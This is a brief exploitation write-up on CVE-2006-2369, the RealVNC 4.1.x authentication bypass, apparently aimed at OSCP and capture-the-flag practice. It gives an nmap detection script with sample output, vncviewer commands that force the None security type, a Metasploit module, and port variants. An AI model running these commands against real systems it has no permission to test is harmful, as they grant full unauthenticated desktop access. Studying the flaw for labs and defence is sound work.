Skip to content
HackIndex logo

HackIndex

CVE-2006-2369 – RealVNC Authentication Bypass

2 min read Mar 12, 2026

RealVNC 4.1.0 and 4.1.1 allow a client to specify its preferred security type during the RFB handshake. The server accepts Type 1 - None even when it was not advertised as a supported option. Sending a None authentication request bypasses the password check entirely and grants full desktop access without credentials.

Affects RealVNC 4.1.0 and 4.1.1 on Windows. Also present in products embedding RealVNC including Cisco CallManager and AdderLink IP KVM switches. Still appears in OSCP labs and CTFs on older Windows machines.

Confirming Vulnerability

┌──(kali㉿kali)-[~]
└─$ nmap -p 5900 --script realvnc-auth-bypass $TARGET_IP 
5900/tcp open  vnc
| realvnc-auth-bypass:
|   VULNERABLE:
|   RealVNC 4.1.0 - 4.1.1 Authentication Bypass
|     State: VULNERABLE
|     IDs: CVE:CVE-2006-2369

Manual Exploitation

Connect and press Enter at the password prompt without typing anything:

┌──(kali㉿kali)-[~]
└─$ vncviewer $TARGET_IP:5900

On vulnerable RealVNC 4.1.x servers this completes the bypass. If the client does not try None automatically, force it explicitly:

┌──(kali㉿kali)-[~]
└─$ vncviewer --SecurityTypes None $TARGET_IP:5900
┌──(kali㉿kali)-[~]
└─$ xtigervncviewer -SecurityTypes None $TARGET_IP:5900

Metasploit Auxiliary Module

┌──(kali㉿kali)-[~]
└─$ msfconsole 
use auxiliary/scanner/vnc/realvnc_auth_bypass
set RHOSTS $TARGET_IP
run

Non-Standard Ports

The bypass is in the RFB protocol negotiation — it works on any port. Specify the port directly:

┌──(kali㉿kali)-[~]
└─$ nmap -p $PORT --script realvnc-auth-bypass $TARGET_IP
┌──(kali㉿kali)-[~]
└─$ vncviewer --SecurityTypes None $TARGET_IP:$PORT

What You Get

A full graphical session as the user running the VNC server. From the desktop, open a terminal for local enumeration and privilege escalation.

References